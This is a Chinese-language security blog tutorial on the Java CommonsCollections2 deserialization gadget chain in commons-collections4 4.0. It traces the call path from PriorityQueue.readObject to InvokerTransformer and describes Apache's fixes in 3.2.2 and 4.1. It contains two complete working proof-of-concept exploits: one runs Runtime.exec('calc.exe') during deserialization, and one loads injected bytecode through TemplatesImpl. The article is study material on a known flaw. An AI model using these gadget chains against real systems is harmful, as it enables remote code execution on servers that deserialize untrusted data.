当前位置: 首页 > article >正文

Java反序列化之CommonsCollections2链的学习

一、前言

Apache Commons Collections 是一个著名的辅助开发库,包含了一些Java中没有的数据结构和辅助方法,不过随着Java 9 以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。

在2015年底的commons-collections反序列化利用被提出时,Apache Commons Collections有以下两个分支版本:

  • commons-collections:commons-collections
  • org.apahce.commons: commonst-collections4

可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0。

官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?

二、commons-collections4的改动

因为两者可以共存,可以将两个包安装到同一个项目中比较:

<dependencies>
 <!-- https://mvnrepository.com/artifact/commons-collections/commonscollections -->
 	<dependency>
 		<groupId>commons-collections</groupId>
 		<artifactId>commons-collections</artifactId>
 		<version>3.2.1</version>
 	</dependency>
 <!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 -->
 	<dependency>
 		<groupId>org.apache.commons</groupId>
 		<artifactId>commons-collections4</artifactId>
 		<version>4.0</version>
 </dependency>
</dependencies

因为老的Gadget 中依赖的包名都是 org.apache.commons.collections , 而新的包名已经变成 org.apache.commons.collections4。 我们用熟悉的CommonsCollections6 利用链做例子,直接把代码拷贝一遍,并且将所有 import org.apache.commons.collections.* 改成 import org.apache.commmons.collections4.*

此时 IDE 爆出了一个错误,原因是 LazyMap.decorate 这个方法没了:

我们查看下 Commons.collection3中 decorate的定义,代码很简单

   public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

这个方法不过就是 LazyMap 构造函数的一个包装,而在 commons.collection4 中这是改了个名字叫 lazyMap:

    public static <K, V> LazyMap<K, V> lazyMap(Map<K, V> map, Factory<? extends V> factory) {
        return new LazyMap(map, factory);
    }

所以我们将Gadget中出错的代码换一下名字:
 

Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

解决了错误,成功执行代码 

同理,之前的 CC1、CC3利用链都可以在 commonscollections4 的包中使用。

三、CommonsCollections2 利用链

commons-collections 这个包之所以能攒出那么多的利用链来,除了因为其使用量大,技术上的原因是其中包含了一些可以执行任意方法的Transformer。 所以,在commons-collections 中找 Gadget的过程,实际上可以简化为,找一条从 Serialization#read Object()  方法到 Transformer#transform()  方法的调用链

故而,我们学习下CommonsCollections2 利用链,其用到的关键的两个类如下:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

java.util.PriorityQueue 是一个有自己 readObject()  方法的类:

org.apache.commons.collections4.comparators.TransformingComparator 中有调用 transform() 方法 的函数,且里面的transformer来自于构造函数的传参:

TransformingComparator.class
    
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }

    
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }
public int compare(final I obj1, final I obj2) {
 	final O value1 = this.transformer.transform(obj1);
	final O value2 = this.transformer.transform(obj2);
 	return this.decorated.compare(value1, value2);
}

所以,CommonsCollections2 利用链 实际就是一条从 PriorityQueue 到 TransformingComparator 的利用链。

Gadget chain:

  • ObjectInputStream.readObject()
    • PriorityQueue.readObject()
    • PriorityQueue.heapify()
    • PriorityQueue.siftDown()
    • PriorityQueue.siftDownUsingComparator()
    • TransformingComparator.compare()
      • InvokerTransformer.transform()
        • Method.invoke()
          • Runtime.exec() 

了解下他们是怎么连接起来的。 PriorityQueue#readObject() 中调用了 heapify()  方法 , heapify() 中调用了 siftDown() , siftDown() 中调用了 siftDownUsingComparator() , siftDownUsingComparator() 中调用的 comparator.compare()  ,于是就连接到上面的 TransformingComparator了:

 PriorityQueue.class
  
 private void heapify() {
        for(int var1 = (this.size >>> 1) - 1; var1 >= 0; --var1) {
            this.siftDown(var1, this.queue[var1]);
        }


    private void siftDown(int var1, E var2) {
        if (this.comparator != null) {
            this.siftDownUsingComparator(var1, var2);
        } else {
            this.siftDownComparable(var1, var2);
        }

    private void siftDownUsingComparator(int var1, E var2) {
        int var4;
        for(int var3 = this.size >>> 1; var1 < var3; var1 = var4) {
            var4 = (var1 << 1) + 1;
            Object var5 = this.queue[var4];
            int var6 = var4 + 1;
            if (var6 < this.size && this.comparator.compare(var5, this.queue[var6]) > 0) {
                var4 = var6;
                var5 = this.queue[var6];
            }

            if (this.comparator.compare(var2, var5) <= 0) {
                break;
            }

            this.queue[var1] = var5;
        }

        this.queue[var1] = var2;
    }


this.comparator 和 this.queue来自于 PriorityQueue的构造函数传参中中:

PriorityQueue.class   

private final Comparator<? super E> comparator;

 public PriorityQueue(int var1, Comparator<? super E> var2) {
        this.size = 0;
        this.modCount = 0;
        if (var1 < 1) {
            throw new IllegalArgumentException();
        } else {
            this.queue = new Object[var1];
            this.comparator = var2;
        }
    }

总结一下:

  • java.util.PriorityQueue 是一个优先队列(Queue) ,基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树
  • 反序列化时为什么需要调用 heapify() 的方法? 为了反序列化后,需要恢复这个结构的顺序
  • 排序是将靠大的元素下移实现的。siftDown()  是将节点下移的函数, 而 comparator.compare() 用来比较元素的大小
  • TransformingComparator 实现了 java.util.Comparator 接口, 这个接口用于定义两个对象如何进行比较。 siftDownUsingComparator() 中就是使用这个接口的compare() 方法比较树的节点

关于 PriorityQueue 这个数据结构的具体原理,可以参考这篇⽂章:PriorityQueue源码分析 - linghu_java - 博客园

开始编写POC,⾸先,还是创建Transformer:

Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1) };
Transformer[] transformers = new Transformer[]{
    new ConstantTrransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[] {String.class}, new String[]{"calc.exe"})

};

Transformer transformerChain= new ChainedTransformer(fakeTransformers);

再创建一个 TransformingComparator ,传入我们的 Transformer:

Comparator comparator = new TransformingComparator(transformerChain);
实例化 PriorityQueue 对象,第⼀个参数是初始化时的⼤⼩,⾄少需要 2 个元素才会触发排序和⽐较, 所以是2 ;第⼆个参数是⽐较时的 Comparator ,传⼊前⾯实例化的 comparator
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
后⾯随便添加了 2 个数字进去,这⾥可以传⼊⾮ null 的任意对象,因为我们的 Transformer 是忽略传⼊参数的。
最后,将真正的恶意 Transformer 设置上
setFieldValue(transformerChain, "iTransformers", transformers);

完整的POC如下:
 

运行环境:
java 1.8.0_71

commons-collections4.0

CommonsCollections2.java

package com.govuln.shiroattack;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static void setFieldValue(Object obj, String  fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0] }),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Comparator comparator = new TransformingComparator(transformerChain);
         PriorityQueue queue = new PriorityQueue(2, comparator);
         queue.add(1);
         queue.add(2);

         setFieldValue(transformerChain, "iTransformers", transformers);

         ByteArrayOutputStream barr = new ByteArrayOutputStream();
         ObjectOutputStream oos = new ObjectOutputStream(barr);
         oos.writeObject(queue);
         oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();


    }
}

四、使用无Transformer数组改进 CommonsCollections2利用链

前文说过利用 TemplatesImpl 可以构造出无 Transformer数组 的利用链,这里将CC2这条链也改进下。

首先,还是创建一个 TemplatesImpl对象:

        Templates obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
        setFieldValue(obj,"_name", "Hello");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

创建⼀个⼈畜⽆害的 InvokerTransformer 对象,并⽤它实例化 Comparator
        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);

实例化 PriorityQueue ,但是此时向队列⾥添加的元素就是我们前⾯创建的 TemplatesImpl 对象了:
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);
因为我们这⾥⽆法再使⽤ Transformer 数组,所以也就不能 ⽤ ConstantTransformer 来初始化变量,需要接受外部传⼊的变量。⽽在 Comparator#compare() 时,队列⾥的元素将作为参数传⼊ transform() ⽅法,这就是传给 TemplatesImpl#newTransformer 的参数

最后⼀步,将 toString ⽅法改成恶意⽅法 newTransformer
setFieldValue(transformer, "iMethodName", "newTransformer");

完整的poc如下:

运行环境:
java 1.8.0_71

commons-collections4.0

templatesForCommonsCollections2.java

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class templatesForCommonsCollections2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    protected static byte[] getBytescode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception{
        Templates obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
        setFieldValue(obj,"_name", "Hello");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();




    }
}

五、修复说明

1、PriorityQueue的利⽤链是否⽀持在commons-collections 3中使⽤?

不能,因为利用链的关键类 org.apache.commons.collections4.comparators.TransformingComparator,在 commons-collections4.0 以前没有实现 Serializable接口,无法在序列化中使用

2、Apache Commons Collections 官方是如何修复反序列化漏洞的?

Apache Commons Collections 官⽅在 2015 年底得知序列化相关的问题后,就在两个分⽀
上同时发布了新的版本, 4.1 3.2.2
先看 3.2.2 ,通过 diff 可以发现,新版代码中增加了⼀个⽅法
FunctorUtils#checkUnsafeSerialization ,⽤于检测反序列化是否安全。如果开发者没有设置全
局配置 org.apache.commons.collections.enableUnsafeSerialization=true ,即默认情况下会
抛出异常。
这个检查在常⻅的危险 Transformer
InstantiateTransformer InvokerTransformer PrototypeFactory CloneTransforme
r 等)的 readObject ⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常:
再看 4.1 ,修复⽅式⼜不⼀样。 4.1 ⾥,这⼏个危险 Transformer 类不再实现 Serializable 接⼝,也就
是说,他们⼏个彻底⽆法序列化和反序列化了。


http://www.kler.cn/a/393477.html

相关文章:

  • golang go语言 组建微服务架构详解 - 代码基于开源框架grpc+nacos服务管理配置平台
  • 详解基于C#开发Windows API的SendMessage方法的鼠标键盘消息发送
  • 时序预测 | 改进图卷积+informer时间序列预测,pytorch架构
  • FPGA实现PCIE3.0视频采集转SDI输出,基于XDMA+GS2971架构,提供工程源码和技术支持
  • ASR+LLM+TTS在新能源汽车中的实战
  • 安装luasocket模块时提示“sudo: luarocks:找不到命令“问题,该如何解决?
  • SDL读取PCM音频
  • Docker在微服务架构中的最佳实践
  • 云速搭助力用友 BIP 平台快速接入阿里云产品
  • 计算机网络(8)数据链路层之子层
  • 沈阳乐晟睿浩科技有限公司引领新潮流
  • linux提权-RSYNC未授权访问覆盖
  • SQLite Where 子句
  • 【HAProxy08】企业级反向代理HAProxy高级功能之自定义日志格式与IP透传
  • 华为机试笔记
  • LeetCode【0038】外观数列
  • Go 语言已立足主流,编程语言排行榜24 年 11 月
  • 【基于轻量型架构的WEB开发】课程 作业3 Spring框架
  • 前端基础的讲解-JS(10)
  • Scala学习记录,case class,迭代器